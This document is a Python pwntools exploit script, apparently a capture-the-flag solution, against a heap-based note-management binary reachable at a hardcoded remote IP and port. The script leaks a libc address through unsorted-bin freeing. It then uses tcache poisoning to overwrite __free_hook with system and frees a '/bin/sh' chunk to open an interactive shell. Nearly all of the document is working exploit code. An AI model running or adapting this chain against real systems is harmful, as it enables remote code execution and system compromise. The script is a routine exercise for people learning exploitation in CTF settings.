1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| from pwn import * from LibcSearcher import * import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug') is_debug = 0
IP = "20.55.48.101" PORT = 1339
elf = context.binary = ELF('./chall') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_note(idx): ru("5. Exit\n") sl("1") sla("Enter the note",str(idx))
def delete_note(idx): ru("5. Exit\n") sl(b"2") sla("Which note do you want to delete?",str(idx + 1))
def edit_note(idx,data): ru("5. Exit\n") sl(b"3") sla("Which note do you want to edit?",str(idx + 1)) sl(data)
def read_note(idx): ru("5. Exit\n") sl(b"4") sla("Which note do you want to read?",str(idx + 1))
def create_big_note(idx): ru("5. Exit\n") sl(b"10") sla("Enter the note",str(idx))
p = connect()
for i in range(7): create_note(i)
create_big_note(7) create_note(8)
for i in range(7): delete_note(i)
delete_note(7)
read_note(7) libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] success(f"libc_base ->{hex(libc_base)}") success(f"free_hook ->{hex(free_hook)}") success(f"system ->{hex(system)}")
for i in range(7): create_note(i) create_big_note(7)
delete_note(0) delete_note(1)
edit_note(1,p64(free_hook)) create_note(1) create_note(2) edit_note(18,p64(system))
create_note(2) edit_note(2,b'/bin/sh') delete_note(2)
p.interactive()
|